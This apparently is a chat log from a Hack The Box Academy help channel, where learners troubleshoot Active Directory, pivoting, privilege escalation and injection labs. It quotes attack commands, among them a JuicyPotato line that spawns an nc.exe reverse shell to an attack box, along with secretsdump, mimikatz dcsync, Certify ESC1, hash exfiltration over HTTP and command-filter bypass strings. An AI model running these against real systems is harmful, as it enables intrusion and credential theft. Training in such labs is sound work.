modules

[next bronze]

you mean <!-- ? it's to comment the rest of the stuff out, it's explained in the section

[sterile epoch]

why is it stored under debug?

[next bronze]

because the compile settings defaults to debug, you can switch to release

I wouldn't recommend using dotnet to build on linux, it will likely work but it's iffy, build with visual studio would be the best

[opal storm]

Yeh I just figured out why, that should have been the giveaway that it was single quote and not double

Thanks

[fathom pendant]

Yeah windows doesn't like .exe compiled on non-windows systems

[sterile epoch]

its on my windows host powershell

[fathom pendant]

Even if they're the exact same

[sterile epoch]

I messed up windef is deleting it

[fathom pendant]

Well... yeah... it's a hacking tool lmao

Just add that folder to exceptions in defender

[next bronze]

also, make a dev vm to build tools

for popular tools they're most likely safe, but you never know what's in the projects

[heavy marsh]

I'm seeing suggestions to use secretsdump on the AD Skills Assessment to get the tp***y username's cleartext credentials. I tried lsass.dmp and that did not give it in cleartext. It looked like the secretdsdump.py was to be used on a machine with python installed

How am I supposed to use secretsdump on this?

[sterile epoch]

will do that

[heavy marsh]

Even if I get a shell on the system instead of using rdp, I don't see how secretsdump.py would work since there's no python on the target machine.

[fathom pendant]

I mean extracting the dmp and system save, should be trivial from there

[next bronze]

you need a different tool for lsass

secretsdump indeed does not read lsass dumps, the right tool has been mentioned many times in the windows related modules

[heavy marsh]

pypykatz hasn't given me anything from the lsass dumps

I have the answer since I used LaZagne, it just doesn't tie it to that user

[thorn urchin]

I told you last time it came up. One of the great things with secretsdump is you can run it remotely

the target doesnt need python

you run secretsdump on your host

[fathom pendant]

If you have the answer, but it doesn't tie to the user. Then you don't have the answer

[heavy marsh]

It showed up under "default password" so I'm assuming there is an alternative method that shows the password tied to user

[fathom pendant]

I'd do what madf0x suggests

[thorn urchin]

default password is just a field for storing login creds

[heavy marsh]

how do I do that?

[thorn urchin]

secretsdump -h

[fathom pendant]

Read the tool documentation

[heavy marsh]

so far everything I've read is for dumping hashes

I've been told it's stored in plantext and that I shouldn't have to dump hashes for this

[fathom pendant]

It'll dump everything

including hashes and plaintext

As a wise man once said "reading the card, explains the card"

[atomic wren]

Hi

[heavy marsh]

Ran this

[atomic wren]

I would like to start learning any suggestion on what programs I need on my computer to start learning on the website?

[heavy marsh]

Got this

[hardy socket]

hi folks, having trouble with Kerberos Attacks module, lesson "Constrained Delegation from Linux". When I run the command "getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator" I get the error: "No such file or directory: './DC01$@[e-mail]' ". Anyone can see what I'm missing?

[fathom pendant]

A linux virtual machine and the will to read a bunch

[heavy marsh]

I'm on the machine in rdp so I know my proxy is set up

[atomic wren]

How could I get that?

[next bronze]

read the -h what's -just-dc flag for?

[fathom pendant]

Google

Academy also has a "Setting up" module

[atomic wren]

What do you mean?

[next bronze]

have you set the right env variable to the ccache?

[atomic wren]

All I see now is

Introduction to Academy

I just wanna make sure everything will be ready so I won't face any issues tomorrow

[fathom pendant]

If you've never touched a linux device before: there's a ton of fundamentals you'll need to learn

Aside from that there is the in-browser vm you can use

[hardy socket]

that was what i was thinking. But where am I supposed to get that env var? from the previous lesson or just from the example in this lesson?

[atomic wren]

I know that but basically It's my first time going into that stuff, I wanna learn.

[fathom pendant]

Just take a second, take a step back, and just do it

[next bronze]

if you're authenticating using creds then unset KRB5CCNAME

[atomic wren]

Do you mind telling me what's the first step I need to do?

[heavy marsh]

I took out -just-dc

[atomic wren]

Since I don't have any experience with linux

[fathom pendant]

Read the module and sections

[heavy marsh]

I saw that as an option I had run before, so I tried it

[fathom pendant]

The intro doesn't do anything crazy

[atomic wren]

Introduction to Academy

[fathom pendant]

Yes

[atomic wren]

You mean to that?

[heavy marsh]

Am I doing something wrong?

[atomic wren]

Yeah I know it's nothing crazy yet but I just wanna make sure I will have all the programs I need to start learning

[hardy socket]

Ok, that worked, thank you! can you explain how and why please?

[fathom pendant]

The only "programs" you need on your base computer are: a web browser, and a virtual machine software running linux

There's literally thousands of articles

[atomic wren]

The VM software there's any for free or I need to buy one

Idk how it works tbh

[fathom pendant]

Virtualbox is free

[next bronze]

you have a ccache set before, probably have deleted the file so impacket complains that it's missing even when you're authenticating using creds, just remember to unset it once you're done with it

[fathom pendant]

Also a good portion of your questions can be googled

[atomic wren]

Do you mind to send me a link please?

[fathom pendant]

No, learn to use Google

It's not hard to find

[hardy socket]

gotcha, cheers!

[atomic wren]

Linux distributions?

[fathom pendant]

Yes, like Kali, Parrot, Arch, Ubuntu, Gentoo...

Bunch of them out there

[atomic wren]

Alright

[fathom pendant]

Parrot and Kali are popular for pentesting

[heavy marsh]

I don't see secretsdump.py remote operation covered in any of the modules. Is there a good resource for this?

It isn't working remotely

[atomic wren]

​Oracle Linux 9 / Red Hat Enterprise Linux 9
​Oracle Linux 8 / Red Hat Enterprise Linux 8

The newest one right? @fathom pendant

[next bronze]

google. both of you

[fathom pendant]

I wouldn't suggest redhat

[next bronze]

just read setting up module lol

[fathom pendant]

^

[atomic wren]

Ubuntu 22.04

[fathom pendant]

There's literally a setting up module you can do after you get through the intro to academy

That goes over basic setup

[heavy marsh]

It looks like secretsdump is covered for dcsync, but not for plaintext hashes

[atomic wren]

Alrighty, thanks!

[fathom pendant]

Man I used Google and found an example command in like the first couple links

Literally only googling secretsdump remote

[heavy marsh]

Can I DM you the command I used. I don't want to give spoilers for previous creds

[fathom pendant]

I haven't done this yet

So no

I'm just stating, I used Google and found something

[heavy marsh]

Keep getting the same thing:

I used impacket-secretsdump <username from quetion 2>:<pw from question3>@172.16.6.50

[fathom pendant]

If you have a proxychain setup, I'm assuming you're using that

[heavy marsh]

yes I am

oh wait

I guess I'm not

[fathom pendant]

👍

[heavy marsh]

Thanks

Yeah my syntax worked, just had to do proxychains, haha.

I got the cleartext pw!

[thorn urchin]

secretsdump is bae

[next bronze]

netexec can do the same thing btw --sam --lsa but pretty sure it's the same thing beneath the hood

[fathom pendant]

Or at the very least super similar

[frosty spade]

Rebuild the JAR file by following the same steps and log in again to the application. Then, navigate to FileBrowser -> Config, add the fatty-server.jar name in the input field, and click the Open button.

[thorn urchin]

I like secretsdump formatting. But I havnt tried netexecs version in a hot minute so maybe theyve done a formatting update since I last used cme for that task

[indigo sinew]

anyone know how to get someone ip adress by emial

[agile torrent]

[fathom pendant]

Google

[indigo sinew]

how

I never hack before

[next bronze]

afaik the format is the same, took a quick look at the code, they're calling the same dump() function

[next bronze]

google

[indigo sinew]

what google

[indigo sinew]

????????????????????

[agile torrent]

search the same question you asked here, in google

[indigo sinew]

but I searched

cant find good

[fathom pendant]

Read #rules and #welcome

Phishing and ip grabbing for the purposes of doxxing/and or hacking them is an illegal act, we won't be helping you

[indigo sinew]

then I am leaving

cya

[next bronze]

[manic ermine]

Hi all, I'm still stuck on the "injection attacks" skills assessment. I would be so grateful for any advice or hints. I can't seem to get the xpath injection working, nor can I work around the size issues with the iframe which crops the content I need. Please reach out if you are able to assits. Thanks in advance.

[mystic light]

heyo i can help if you need

[hardy socket]

would anyone be wiling to solve another conundrum please? I've done import-module powerview.ps1 (the script version that is on the host as per exercise), however it doesn't seem to have any functions (cmdlets). Why can that be?

[next bronze]

sometimes it doesn't import correctly, try again, reset the machine or upload your own copy

did you change set execution policy?

[fathom pendant]

Did you import it from the tools directory?

[hardy socket]

yep

[fathom pendant]

Also some power view stuff relies on Active Directory, did you also import that?

You can just Import-Module ActiveDirectory from anywhere

[hardy socket]

I'll give that a go, thanks!

[hardy socket]

Nope, haven't thought of that, cheers!

[hardy socket]

That didn't work actually, couldn't find the module

[fathom pendant]

Weird

It should just work

[hardy socket]

yep, i guess I'll just reload the host

[hardy socket]

I know, right? Even when you list the available modules it shows the powerview and all but the version is 0.0 and has no commands shown

[fathom pendant]

Yeah try resetting the target

[next bronze]

this doesn't always work for newer windows server versions

[hardy socket]

what to do in that case? find the .ps1 of it?

[next bronze]

https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps

[fathom pendant]

It's worked every time for me on the windows lab environments

but sometimes windows labs are goofy ¯_(ツ)_/¯

[next bronze]

it should be in the OS by default for that lab

[fathom pendant]

#boxes , or if it's a recent machine it'll have its own dedicated channel. Read #welcome

[hardy socket]

I was asking more for in the wild

[next bronze]

#for non servers
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online

#for servers >= 2012
Install-WindowsFeature RSAT-AD-PowerShell

#for servers < 2012
Import-Module ActiveDirectory

[fathom pendant]

Second part of my statement

[hardy socket]

Great, I'll note that down, cheers!

[next bronze]

the versions aren't always accurate, usually I'll just try all 3

[fathom pendant]

I start with import then cry

[hardy socket]

[fathom pendant]

<@&861185840277487616>

[solid python]

Honk honk

Kek

No

[hardy socket]

@fathom pendant @next bronze Just a quick update: restarting of the target has indeed solved the goofy behaviour, thank you for your moral and spiritual support throughout this uneasy moment

[fathom pendant]

go drunk, you're home

[solid python]

Hey I just cleaned up another bad account

[hot violet]

help me plis What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack? The flag is the name of the user account.

[fathom pendant]

well; are you logged into the domain controller?

if not: that's your first step

[hot violet]

yes

[fathom pendant]

one of the sections talks about searching windows event logs

[hot violet]

I already did it and used this filter. Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4625} -MaxEvents 50 | Format-List TimeCreated, Message

[fathom pendant]

then just search the list, the timestamps are good to get an idea of breaks

literally read the log

also by DC i mean the 172.x.x.x server that was mentioned in an earlier question

[hot violet]

oky thanks

[frosty spade]

how do i contact support the updated section of this module is convuluted and after 3 days im still unable to proceed got the rest of the module complete just cant get past this damn fatty reversing

[fathom pendant]

green bubble on the website

:) if you don't see it: you'll need to disable adblock

[mint arrow]

Hi guys, I'm currently trying to figure out why my hashcat unable to crack the root password using mutated_password list. I check my unshadow file it contains the hash. This is from Password Attack Passwd, Shadow & Opasswd.

[fathom pendant]

are you using the right mode

[mint arrow]

└─$ hashcat -m 1800 -a 0 unshadowed.hashes ~/Downloads/Password-Attacks/mut_password.list -o unshadowed.cracked

[frosty spade]

yeah i sent a message to someone using that 3 hrs ago and it hasnt been seen

[mint arrow]

this is the same command from the section

[fathom pendant]

also: since there's a handful of accounts there: it'll take a while

[mint arrow]

it was exhuasted

[fathom pendant]

try just putting the root hash into it's own file and run that on it's own

also try rockyou.txt

remember if one doesn't work, use another

[mint arrow]

With that I'm getting separator unmatched

[fathom pendant]

are you copying the hash itself or the whole root:...:/bin/bash line

[mint arrow]

no, just the the whole root...<snipped.>..bin/bash

[fathom pendant]

1800 should be the right mode as it starts with $6$ i believe

[next bronze]

copy the whole line, probably missed a : somewhere

[mint arrow]

Let me double check

Thanks @fathom pendant and @next bronze for catching my mistake 🙂

[fathom pendant]

np; in this case since you only needed one of the hashes you can just kinda skip the rest

[next bronze]

I mean having other hashes in there wouldn't make it slower

rarest badge lol

[fallow ginkgo]

Hey guys,

In the Password Attacks submodule "Protected Files", where am I supposed to find this "cracked password of the user Kira"? The submodule seems to imply I've obtained this password in the past, but I looked through my notes and the previous submodules and came up short.

I found some note concerning the password "||LoveYou1||" and have tried a mutated list off that + hydra with no luck.

[fathom pendant]

lowercase

but also yes: you should have had her password for the credential hunting portion

[fallow ginkgo]

Awesome figured it out. Much thanks.

[buoyant void]

Could someone help me understand the breakdown of this hash, the module I'm doing asked me to paste in the NTLM hash of this user and I had to keep copying and guessing which portion of this was the correct answer but I'd like to understand the different parts so I know for next time.

[fathom pendant]

user:id:lm:nt

when you do PTH you're passing the NT hash

also it's still a spoiler as you're posting the answer

[buoyant void]

Sorry about that its been a late night should've been more careful

[fathom pendant]

you can do * to indicate missing parts i,e, kh*:1138:aa*:4b*:::

[buoyant void]

So if a question asks me for the NTLM hash I should be focusing on the NT portion is that correct?

[fathom pendant]

those that have done the assignment can tell you; but anyway one of the earlier modules in the path (i believe Password attacks) breaks down the windows NTLMv2 hash

[buoyant void]

Yeah I remember it I just lost access to my obsidian notebook and didnt want to go through each module to try to find where that was

[fathom pendant]

correct: the lm version is a significantly broken down version of the NT

[buoyant void]

Ok great thank you appreciate it

[fathom pendant]

LM removes all uppercase

it's literally all lowercase and some special characters

NT has a wider range of characters

[buoyant void]

What if you wanted to pass this through hashcat, you'd do the NT portion?

[fathom pendant]

generally you can pass the whole response to hashcat

as hashcat will likely attempt to crack the LM portion first: then use the LM crack to crack NT

[buoyant void]

Ah okay makes sense

[fathom pendant]

it's only like a handful of hashes that hashcat doesn't like the full thing

but hashcat i believe looks for all parts of it

[buoyant void]

Awesome thanks a lot

[fathom pendant]

sucks that you lost access to your notebook

did defender yeet your notes? ¯_(ツ)_/¯

if so: adding the folder to exclusions prevents defender from scanning/deleting

[buoyant void]

My cat threw up on my laptop and fried something no clue what Im hoping just the battery but preparing for the worst. Waiting for an external SSD enclosure to arrive tomorrow from Amazon and hopefully the SSD is fine and I can access my data

[fathom pendant]

if not: you can try and see if you can take it to a data recovery service

[buoyant void]

Yeah I'm hoping that won't be necessary I didn't find any moisture inside the laptop when I opened it up to take the battery out and SSD everything looks normal tbh just wont charge or turn on

[dry halo]

how do I connect to the windows target?

https://academy.hackthebox.com/module/158/section/1427

[fathom pendant]

might be crazy what i'm about to say: but pivoting

[dry halo]

I am on the victim server ubuntu.

I mean how do I downlaod the rev shell on to windows

[fathom pendant]

i implore you to read the section: i believe the section walks you through ALL the steps

[dry halo]

created payload on my attack machine sent it to ubuntu machine

[fathom pendant]

also should be able to just ssh from the ubuntu host to the windows host

:)

[buoyant void]

You can use pretty much any of the file transfer methods that are outlined in the file transfer module, I used one of the most basic file transfer methods for this part if I remember correctly

[little bear]

YO One of us!~ I'm also 1 of the 8.

[buoyant void]

Your answer on how to send this to the windows machine is right in the image you posted

[fathom pendant]

you're misunderstanding the issue

[dry halo]

I am comfortable with transferring. what are the creds I need to login into that windows machine

[fathom pendant]

the issue they're stating: is that they cannot download the exe without being on the windows machine

[buoyant void]

Oh I see now what the question is my apologies

I need coffee clearly ☕

[fathom pendant]

use a second ssh session to go from the ubuntu host to the windows host

[little bear]

That was a fun time

[fathom pendant]

¯_(ツ)_/¯

you can answer the question technically without doing the method

and tbh this is one of the more annoying setups

[dry halo]

I did the quiz. I am trying to replicate the section

[fathom pendant]

like there's a reason most of us that have used/understand it: use ligolo-ng

it takes a LOT of the tedium out of the more annoying stuff like this

the goal of this is to technically just have the second host communicate back to your system via a listener to create a shell session directly

instead of a -> b -> c you just have a proxy connection a <-> c

[little bear]

I'd have to go back for pivoting, but anything like sshuttle or proxychains or dynamic p-forwarding was nice. Networking theory is important here.

[fathom pendant]

and then you find out about ligolo and proxychains looks like a chump lmao

ligolo works on a different network layer than proxychains

[buoyant void]

Ok now I'm going to have to go Google ligolo

[little bear]

Same

[fathom pendant]

there's precompiled binaries for it

agent/proxy: proxy iirc is for YOUR system, agents are for the victims, the documentation clears it up

[little bear]

Thank the programming lords

[buoyant void]

Damn this tool looks great

[fathom pendant]

there's 32 and 64 bit binaries for each OS

and Agent/Proxy for each OS

the man really said "fuck it we ball"

[little bear]

We ball

Adding to my toolset

[buoyant void]

It looks so simple too I almost want to go back to the pivoting section and only use ligolo

[little bear]

Right?! We've been tormented.

[fathom pendant]

the only mildly annoying thing is the double-pivots

[little bear]

Traumatizing^^

[fathom pendant]

this tool didn't exist when they made the pivoting module

[little bear]

Tru

[buoyant void]

If I never have to double pivot again I'll be quite content lol

[fathom pendant]

you still have to double pivot

it's just slightly annoying to set up

[limber parcel]

https://tenor.com/view/if-you-think-of-an-gif-20132469

[little bear]

Cruel. How brutal

[fathom pendant]

i mean the simple answer is just creating a new tun interface for every pivot hop you need to do

the dumber thing is

initiate a new session after it connects
close old connection, switch to new session, start

the older versions seem to have an autoswitch feature, which i'd like him to bring back

but now it just says "that interface is already in use"

:(

[buoyant void]

So you'd recommend ligolo-ng right just want to make sure I'm looking at the right one on GitHub

[dry halo]

they were using the creds from the previous section. Probably should have mentioned there itself
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

[buoyant void]

Yeah I've made this mistake a bunch of times, I realized every time you see creds on a section just copy them to your notes lol makes life a lot easier

[fathom pendant]

ok? still need a connection to pivot through :P

[dry halo]

I understood the whole thing I was searching for creds like a madman lmao

[fathom pendant]

LMAO

it helps if you provide context for why you're stuck brother

instead of us assuming you're failing to read

:^)

[dry halo]

yep should have phrased it better

[fathom pendant]

"I don't know how they want us to connect"
Uh... pivot?

[buoyant void]

I'm happy we misunderstood, wouldn't have learned about ligolo otherwise 😂

[fathom pendant]

I still would have recommended ligolo anyway

:P you don't need to worry about proxychains and it being dumb

you can do all sorts of things with it

including: scanning a target with nmap without it yelling about ICMP requests being ignored

(though against windows targets, usually those get ignored anyway)

[dry halo]

does lingolo support syn scans or we need to enforce full TCP connect scans like for proxychains to not complain about partial data

[fathom pendant]

i believe it supports syn scans

as i said earlier; it works on a completely different layer of the stack

[little bear]

Aye, agreed

[opal storm]

Gamers I am back with the same XSS/XSS Attacks/Phishing module https://academy.hackthebox.com/module/103/section/984, I got the payload working, I tested it locally and I get the credentials with the form but whenever I try to send the url in the /phishing/send.php form the exercise says I get a Issue in sending URL! error, any ideas?

[fathom pendant]

i mean if it's being flagged as phishing: then it's doing it's job

have you considered NOT doing something illegal and phishing?

#rules and #welcome

<@&861185840277487616>

:) what i was saying is; you're not gonna get help with illegal activities

not in this server

try asking google

[rustic sage]

FBI OPEN UP 🚓

[low girder]

Fired them out of the server

[fathom pendant]

with a Canon?

[low girder]

With 🔨

[fathom pendant]

https://tenor.com/view/smash-bros-melee-super-smash-bros-melee-bat-homerun-homerun-bat-gif-26180968

[frosty spade]

anybody stuck on the part where you download the fatty server in Exploiting Web Vulnerabilities in Thick-Client Applications leave out return "Successfully saved the file to " + desktopPath;
}

[opal storm]

Apparently it might be the IP in the payload? The page accepts de URL when I dont input my IP

[lethal latch]

Is anyone able to give me some pointers for the NoSQL injection skill assessment 2? I found the injection point, but I am not sure where to go from there.

[opal storm]

Man I hate it here, my payload works but the url form is just wonky and I cant get through the question

[opal storm]

And the pwnbox is extremly unstable get me out of this module dude

[torpid jungle]

Any body having big issues rdp into target? I’m doing the shells live engagement module and I have been able to connect maybe twice in the last two days. Keep getting connection error and when it does connect slow as! Then disconnects

[fathom pendant]

switch to the tcp connection

[opaque viper]

hey i have learnt the bare basics of hacking, how do i continue, is hack the box free version enough

[fathom pendant]

i mean the labs site for free is good, if you wanna learn more: HTB-Academy is not free for content above tier 0

there is a pentesting path for their CPTS exam that goes through a lot of the minimum for testing a networked environment

[torpid jungle]

Academy is very affordable if you just do it using cubes over time. Man I’ve learned so much from it. Definitely worth it.

[torpid jungle]

Tried that unfortunately. No luck.

[fathom pendant]

change vpn regions then?

[torpid jungle]

Yeah done it all

[fathom pendant]

¯_(ツ)_/¯

[torpid jungle]

Just thought maybe somethings down

[fathom pendant]

sometimes it just does that

has periods of being really slow

[torpid jungle]

I’m relatively new to it so not sure if that’s like a common iccurance

Ok cool. Maybe just a break is needed haha

[fathom pendant]

it's not common, but it does usually happen when you're getting into it

[torpid jungle]

That’s be right

Thanks anyway

[rustic sage]

can someone help me? when i use this comand ./socatx86.bin TCP-LISTEN X.X.X.X:1234, fork X.X.X.X:1235 gives me this error "./socatx86.bin: /lib/tls/i686/cmov/libc.so.6: version `GLIBC_2.15' not found (required by ./socatx86.bin)"

[fathom pendant]

sounds like you need to compile socat statically

[rustic sage]

i tried to add at the end of command -static but doesn't work

[fathom pendant]

you mean when you compiled it? or when you're running it

compiling and running are two different things

[rustic sage]

when i run it

[fathom pendant]

compiling means that you are making the binary read to use: not using it

[rustic sage]

how to make it

[fathom pendant]

so did you download the binary precompiled?

[rustic sage]

i download the binary from github

[fathom pendant]

then it's likely you downloaded one for an older version ¯_(ツ)_/¯

[rustic sage]

the machine when i try to execute is older ubuntu

idk what version of socat should i download

[fathom pendant]

i'm sure the section tells you how to do it

[normal panther]

Can I verify with HTBacademy? #welcome redirects to OG HTB for identity verification so confused

[fathom pendant]

either that or you're doing something unnecessary - socat may already be installed ¯_(ツ)_/¯

[fathom pendant]

you cannot verify with academy

[autumn pilot]

unfortunately, you cannot verify with HTB Academy account

[fathom pendant]

they are all separate platforms: for now

[autumn pilot]

you will need to create an account on https://hackthebox.com/ if you don't have one already

[normal panther]

Okay gotcha thanks

BTW is it only me whose pwnbox gets "minimized" everytime I switch the tab only to refresh to get it back to fullscreen?

[fathom pendant]

nope

that's just a thing because the size is pulled from the interactive window on the page loaded

it's a pain

one way to not have to deal with that is setting up your own vm ¯_(ツ)_/¯

[normal panther]

ahhh..okay. I thought only THM had this issue but apparently both does.

[fathom pendant]

it's just the nature of using a vnc

[rustic sage]

@fathom pendant is there any other way instead socat beacause nothing work with socat

if im in shell instead socat can i use other tool

[fathom pendant]

pivoting module yeah?

[rustic sage]

for linux

[fathom pendant]

that wasn't my question

[rustic sage]

ive complete this module but they show only socat for redirecting

[fathom pendant]

you can pivot and redirect with most tools

i'd suggest learning ligolo-ng; it works way better

and isn't as dumb

[rustic sage]

i will try

[limber surge]

attack n defense -> PKI - ESC1

Connect to the Kali host first, then RDP to WS001 as 'bob:Slavi123' and practice the techniques shown in this section. What is the flag value located at \dc1\c$\scripts?

how to find out the IP Addres of WS001 in order to RDP in at kali cmd?
For this module, they provided the IP Address to RDP into kali, which i have already RDP in.

[tranquil axle]

the internal ips are listed in one of the first two sections where they talk about the lab environment

[rustic sage]

@fathom pendant ive exploit one machine and establish a shell connection after that i exploit exploit a buffer overflow vulnerability on third machine and establish the connection from third machine to second with netcat listener my question is how can i use metasploit instead of normal shell

after i background the session i lost the netcat connection

and instead i background the connection with second machine

[limber surge]

okay thanks. works

[fathom pendant]

you need to set up hops and listeners along your path, i haven't used metasploit for doing multiple pivots: nor do I know what module you're explicitly talking about, I don't recall any buffer overflow in the course

[rustic sage]

i give it as an example

i tried to use socat to redirect to multi/handler and then to use shell_to_meterpreter module in metasploit to upgrade to meterpreter shell but as i said the socat gives me errors and doesnt work

[fathom pendant]

i don't have experience with socat or meterpreter/metasploit enough to be of help here dude ¯_(ツ)_/¯

[torn zealot]

unfortunately I havent found any solution for this, guess I have to live with it.

[limber surge]

attack n defense -> PKI - ESC1

they mention to run this command and get a cert.
.\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname:Administrator

but i cant seem to find the cert.pem is located at.

am i suppose to save the text of the -------START CERTIFICATE ---- AND END CERTIFICATE into a text file n to the share folder?

[tranquil axle]

Yes, it only prints the cert and you have to save it manually afterwards

[fathom pendant]

no: read #rules and #welcome

<@&861185840277487616>

[limber surge]

i got this error. i have the cert.pem in my kali side.

Could not read private key from -in file from cert.pem

[tranquil axle]

Means you copied it not completely, include the top line that starts with ——

[limber surge]

i did include though.

[tranquil axle]

did you run the command listed in the module afterwards to clean up the file?

[limber surge]

do you mean this ?
sed -i 's/\s\s+/\n/g' cert.pem

[tranquil axle]

yea

if it doesn't work just try redoing the steps, if you miss a single "-" or character somewhere it won't read correctly

[dreamy solar]

help meeee please ^^"

Pivoting, Tunneling, and Port Forwarding
Dynamic Port Forwarding with SSH and SOCKS Tunneling

[umbral orbit]

Hello I’m new here

[rapid sparrow]

You typed it wrong, not proxycchains

[astral inlet]

good morning 🙂

[atomic wren]

Hey

I just started HTB academy and somehow I can't start a new instance

Does anyone have any solution/

I'm currently in the tutorial section yet

interactive section with target

[charred sable]

ACTIVE DIRECTORY ENUMERATION & ATTACKS
Enumerating & Retrieving Password Policies
1.What is the default Minimum password length when a new domain is created? (One number)

I dont get how to find it

[astral inlet]

afaik its accessible via google

but it should be in the text

[next bronze]

shouldn't just give the answer, it can easily be googled

[astral inlet]

changed it

[charred sable]

I initially thought I should use the tools provided in the module to find it. After searching on Google, I found the answer on the first page. Thank you very much.

[next bronze]

give more info, what do you mean by that

[atomic wren]

PMs

[next bronze]

just answer here

[atomic wren]

I sent you a picture

I can't send it here

[next bronze]

you can get verified by reading #welcome , or just describe the problem

[wild storm]

Hello. Does anyone give me some advice?

Module: Advanced XSS and CSRF Exploitation
Section: Skill Assessment
Question: I'm working on the exploit at the file upload page.
When I simulate it myself, it actually works well. But admin never access it (there is a mention that admin will access it).
Is this the intended behavior?

[atomic wren]

Basically I cannot open new instance on the website

I was trying to answer a question on the introduction

[next bronze]

what instance? the target?

[atomic wren]

My Workstation

Free users are allowed 1 Pwnbox spawn per day. Get unlimited Pwnbox access by either subscribing for any plan or buying any amount of cubes in Academy's billing page, https://academy.hackthebox.com/billing

[next bronze]

well that's exactly what it says, you have reached the limit of your pwnbox spawn for the day

[atomic wren]

So it means I cannot learn?

[astral inlet]

learn how to set up a vm and using vpn , you can evertime 🙂

[atomic wren]

Mind sending me a link for vm?

[next bronze]

dude, we've answered that question earlier

[astral inlet]

google : parrot or kali in vm

[next bronze]

^

you can still continue with the module content, just that you cannot start another pwnbox for the day

[atomic wren]

I haven't reached that yet

[astral inlet]

hacking is 90% troublehooting and problem solving 🙂

[oblique spoke]

hello I really got stuck at windows privilege escalation credentials hunting. Can someone please help?

[high zinc]

you won't find passwd or pass or pw or pwd like this

maybe something to try as well

[thin tulip]

I'm stuck on the part 1 of the windows privilege escalation skills assessment. I've managed to get a reverse shell but I can't exploit ||JuicyPotato|| as I get an error ||related to an invlaid CLSID||. The command I'm running is
||```
./JuicyPotato.exe -p c:\windows\system32\cmd.exe -l 6666 -a "/c c:\users\public\nc.exe <attack box IP> 8444 -e cmd.exe " -t *

Anyone have any hints on what I'm missing? I've tried ||printspoofer and RoguePotato|| and still get similar errors/no privileged shell.

[oblique spoke]

found it

[tranquil axle]

you may have to try different CLSIDs depending on Windows Version and whats running, you can provide a CLSID with the -c parameter
Check https://ohpe.it/juicy-potato/CLSID/ and see what applies to you

[astral inlet]

any hint how i can stabilize my icmp tunnel ?

or is the network still "laggy ?

[thin tulip]

I found a valid CLSID but I don't get a reverse shell.

[astral inlet]

ok got the flag ... pita lol

[vivid igloo]

ayo

am kind a stuck with

last question of pass the hash

i am just not getting the rev shell on the nc

listener

the mod is password attacks

[thin tulip]

OK managed to find another valid CLSID which finally worked. Thanks for the link!

[astral inlet]

it may help when you can provide links

[tranquil axle]

yea its a bit trial and error with juicypotato

[astral inlet]

https://academy.hackthebox.com/module/158/section/1439

is antivir on purpose ?

it alöways deletes my dll

[autumn pilot]

nothing prevents you from stopping it

[astral inlet]

ok 🙂

[tranquil axle]

<@&861185840277487616>

[solid python]

OMG Broooo

Taken care of

[astral inlet]

solved , do not wanna spoil

only in 1 module

[astral inlet]

thx i will look into it later 🙂

got it

[vague token]

Yeap and when I do it's kicking me out of the session every few minutes

[astral inlet]

icmp section ?

[vague token]

Yeah!

[astral inlet]

i had the same

only in this section

rdp "crashes" whwn ssh section breaks

[thin tulip]

I'm on the part 2 of the windows privesc module assessment and my RDP session keeps disconnecting as well. Possibly a temporary platform issue?

[sterile epoch]

I am doing skill assessment 1 from ad enumeration module. I uploaded the rubeus and mimikatz bin to the foothold but I am having trouble using them from a webshell or a rev shell any hints as to how to approach it?

the issue is that the tools make my connection time out so I have to regain the shell session

when I try to run the mimikatz script my shell gets stuck

[vague token]

Just after many resets and some patience it kinda worked enough for me to finish that section

[tranquil axle]

mimikatz tries to run interactively, which doesn't work well with rev shells. You can start it like this to execute whatever command you want and then exit, which should hopefully not mess up your shell ./mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"

[sterile epoch]

thanks will do that

[scarlet jewel]

Hey all
Question regarding Footpriting/IMAP.
I figured out all the flags, but I used the ||robin:robin|| credentials mentionned by others on the chat. I still dont understand how I was supposed to find these creds. Is it just by assuming that the ||robin|| SMTP user is also an IMAP user with a weak password?

[astral inlet]

always try user = password

and try every possible user , users like to reuse their password

its even worse in real pentests 😄

[tranquil axle]

IMAP and smtp are both E-Mail related protocols, so it’s kind of safe to assume it’s the same credentials between the two

[frozen mesa]

command injections: Bypassing Blacklisted Commands. tried different things to pass the cat filter.
${PATH:0:1} ${PATH:1:1} ${PATH:2:1}
c'a't
%63%61%74
But no catting so far, or i missed the flag.txt by wrong navigating. Anyone any nudges or hints?

[scarlet jewel]

Ok makes sense, thank you guys

[sterile epoch]

Invoke-WebRequest -Uri http://10.10.15.107:8000/upload -Method POST -InFile "hashes.kerberoast" why is this powershell upload command not working?

I tried using the full path too. I double checked the file exists

[manic onyx]

Could be completely wrong but I’m not sure simplehttpserver supports file uploads like that, I would try transferring via other means or creating your own file receiving script using http.server

There is also an upload http server you can use with python and a Poweshell script to invoke a web upload

Netcat is always a good option

[acoustic owl]

Your question has nothing to do with the Academy. Better ask in the channel #boxes
If you don't have access, read and follow #welcome

[uncut ember]

Appreciate it, will remove question and check out the channel 🙂

[lusty hearth]

@snow ridge did you figure this out?

[snow ridge]

Yup

[lusty hearth]

any tips?

same issue as you

[snow ridge]

Check every parameter and test for blind

[solid horizon]

how to hack

[astral inlet]

girls ? computers ? toasters ?

[lusty hearth]

just dont do it, hacking sucks and you just question life

[faint rampart]

if this is the regular python3 -m http.server - I dont recall it supporting file uploads/Post use the upload module with python3 -m upload then you could snd the file with invoke-fileupload

[lusty thicket]

step 1: buy a hoodie

[astral inlet]

step 5 : drink "mate" tea , sorry it was misleading before

[faint rampart]

step 2: install kali

[faint rampart]

you or bill gates I dunno who's worse

[astral inlet]

we all have hoodies @ work 🙂

[lusty hearth]

got it thanks for the help

thought i tested every param, just didnt notice the blind

[empty hedge]

Guys do u have discord server for ine ctf challenge?

[olive depot]

Is there any writeup on "Crafty"?

[astral inlet]

its playing MC 😉

its not too hard

[solid horizon]

then why tf is this server created

[lusty hearth]

bro im just goin thru it

[astral inlet]

its about modulo 😉

[solid horizon]

tf is modulo

[astral inlet]

% ;=

sorry i was joking , what is your real question ?

[solid horizon]
